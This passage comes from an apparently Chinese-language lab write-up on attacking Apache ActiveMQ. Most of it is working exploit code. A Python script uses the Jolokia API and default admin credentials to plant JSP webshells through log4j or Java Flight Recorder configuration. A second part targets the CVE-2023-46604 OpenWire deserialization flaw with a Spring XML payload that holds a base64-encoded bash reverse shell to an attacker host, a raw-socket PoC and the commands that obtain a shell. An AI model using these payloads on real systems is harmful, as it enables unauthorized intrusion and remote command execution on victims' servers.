<option label="Object Types + Allocation Stack Traces + Path to GC Root" name="full">full</option>
</selection>

<condition name="memory-leak-detection-enabled" true="false" false="true">
<test name="memory-leak-detection" operator="equal" value="off"/>
</condition>

<condition name="memory-leak-detection-stack-trace" true="true" false="false">
<or>
<test name="memory-leak-detection" operator="equal" value="medium"/>
<test name="memory-leak-detection" operator="equal" value="full"/>
</or>
</condition>

<condition name="memory-leak-detection-cutoff" true="1 h" false="0 ns">
<test name="memory-leak-detection" operator="equal" value="full"/>
</condition>

<text name="synchronization-threshold" label="Synchronization Threshold" contentType="timespan" minimum="0 s">20 ms</text>

<text name="file-io-threshold" label="File I/O Threshold" contentType="timespan" minimum="0 s">20 ms</text>

<text name="socket-io-threshold" label="Socket I/O Threshold" contentType="timespan" minimum="0 s">20 ms</text>

<flag name="class-loading-enabled" label="Class Loading">false</flag>

</control>

</configuration>
'''


class Application(object):
def __init__(self, url, username, password):
self.url = url
self.session = requests.session()
self.session.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) '
'Chrome/117.0.5938.132 Safari/537.36',
'Origin': url,
}
self.session.auth = (username, password)

def request(self, method: str, path: str, *args, **kwargs):
data = self.session.request(method, urljoin(self.url, path), *args, **kwargs).json()
assert data['status'] == 200
return data

def find_mbean_name(self):
data = self.request('GET', '/api/jolokia/list')
for name, val in data['value'].items():
if name == 'org.apache.logging.log4j2':
for type_name in val.keys():
if type_name.startswith('type='):
return f'{name}:{type_name}'

for name, val in data['value'].items():
if name == 'jdk.management.jfr':
for type_name in val.keys():
if type_name == 'type=FlightRecorder':
return f'{name}:{type_name}'

raise Exception('No mbean whose name is org.apache.logging.log4j2 or jdk.management.jfr')

def modify_config(self, mbean: str, template: str):
self.request('POST', '/api/jolokia/', json=dict(
type='exec',
mbean=mbean,
operation='setConfigText',
arguments=[template, 'utf-8']
))

def exploit_log4j(self, mbean: str):
self.modify_config(mbean, evil_template)
logging.info('update log config')
self.request('GET', '/api/jolokia/version', headers={
'User-Agent': f'Mozilla ||| {webshell} |||'
})
logging.info('write webshell to %s', urljoin(self.url, '/admin/shell.jsp?cmd=id'))
self.modify_config(mbean, original_template)
logging.info('restore log config')

def exploit_jfr(self):
record_id = self.create_record()
logging.info('create flight record, id = %d', record_id)
self.request('POST', '/api/jolokia/', json=dict(
type='exec',
mbean='jdk.management.jfr:type=FlightRecorder',
operation='setConfiguration',
arguments=[record_id, record_template]
))
logging.info('update configuration for record %d', record_id)
self.request('POST', '/api/jolokia/', json=dict(
type='exec',
mbean='jdk.management.jfr:type=FlightRecorder',
operation='startRecording',
arguments=[record_id]
))
logging.info('start record')
time.sleep(1)
self.request('POST', '/api/jolokia/', json=dict(
type='exec',
mbean='jdk.management.jfr:type=FlightRecorder',
operation='stopRecording',
arguments=[record_id]
))
logging.info('stop record')
self.request('POST', '/api/jolokia/', json=dict(
type='exec',
mbean='jdk.management.jfr:type=FlightRecorder',
operation='copyTo',
arguments=[record_id, 'webapps/admin/shelljfr.jsp']
))
logging.info('write webshell to %s', urljoin(self.url, '/admin/shelljfr.jsp?cmd=id'))

def exploit(self, action='auto'):
mbean = self.find_mbean_name()
if action == 'log4j':
logging.info('choice MBean org.apache.logging.log4j2 manually')
self.exploit_log4j(mbean)
elif action == 'jfr':
logging.info('choice MBean jdk.management.jfr:type=FlightRecorder manually')
self.exploit_jfr()
elif mbean.startswith('org.apache.logging.log4j2'):
logging.info('choice MBean %r automatically', mbean)
self.exploit_log4j(mbean)
else:
logging.info('choice MBean %r automatically', mbean)
self.exploit_jfr()

def create_record(self):
data = self.request('POST', '/api/jolokia/', json=dict(
type='exec',
mbean='jdk.management.jfr:type=FlightRecorder',
operation='newRecording',
arguments=[]
))
return data['value']


def main():
parser = argparse.ArgumentParser(description='Attack Apache ActiveMQ')
parser.add_argument('--username', '-u', type=str, default='admin', help='Username for the ActiveMQ console')
parser.add_argument('--password', '-p', type=str, default='admin', help='Password for the ActiveMQ console')
parser.add_argument('--exploit', '-e', type=str, default='auto', choices=['auto', 'log4j', 'jfr'], help='Exploit')
parser.add_argument('url', type=str)
args = parser.parse_args()
app = Application(args.url, args.username, args.password)
app.exploit(args.exploit)


if __name__ == '__main__':
main()

python poc.py -u admin -p admin http://192.168.113.225:8161

加头哥斯拉直连

image-20240430090946978

方法二:

利用的Mbean是jdk.management.jfr.FlightRecorderMXBean。

FlightRecorder是在OpenJDK 11中引入的特性,被用于记录Java虚拟机的运行事件。利用这个功能,攻击者可以将事件日志写入任意文件。

python poc.py -u admin -p admin --exploit jfr http://192.168.113.225:8161

getshell

image-20240430091509719

CVE-2023-46604

OpenWire协议在ActiveMQ中被用于多语言客户端与服务端通信。在Apache ActiveMQ 5.18.2版本及以前,OpenWire协议通信过程中存在一处反序列化漏洞,该漏洞可以允许具有网络访问权限的远程攻击者通过操作 OpenWire 协议中的序列化类类型,导致代理的类路径上的任何类实例化,从而执行任意命令。

反序列化漏洞出现在61616端口中。启动一个HTTP反连服务器,其中包含poc.xml(反弹shell base64编码)

python -m http.server 6666

poc.xml

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMy4zMi84MDgwIDA+JjE=}|{base64,-d}|{bash,-i}</value>
</list>
</constructor-arg>
</bean>
</beans>

poc.py

import io
import socket
import sys


def main(ip, port, xml):
classname = "org.springframework.context.support.ClassPathXmlApplicationContext"
socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket_obj.connect((ip, port))

with socket_obj:
out = socket_obj.makefile('wb')
# out = io.BytesIO() # 创建一个内存中的二进制流
out.write(int(32).to_bytes(4, 'big'))
out.write(bytes([31]))
out.write(int(1).to_bytes(4, 'big'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(int(1).to_bytes(4, 'big'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(len(classname).to_bytes(2, 'big'))
out.write(classname.encode('utf-8'))
out.write(bool(True).to_bytes(1, 'big'))
out.write(len(xml).to_bytes(2, 'big'))
out.write(xml.encode('utf-8'))
# print(list(out.getvalue()))
out.flush()
out.close()


if __name__ == "__main__":
if len(sys.argv) != 4:
print("Please specify the target and port and poc.xml: python3 poc.py 127.0.0.1 61616 "
"http://192.168.0.101:8888/poc.xml")
exit(-1)
main(sys.argv[1], int(sys.argv[2]), sys.argv[3])

image-20240430091152453

设置返连地址

python poc.py 192.168.113.225 61616 http://192.168.113.32:1234/poc.xml

getshell

image-20240430091305081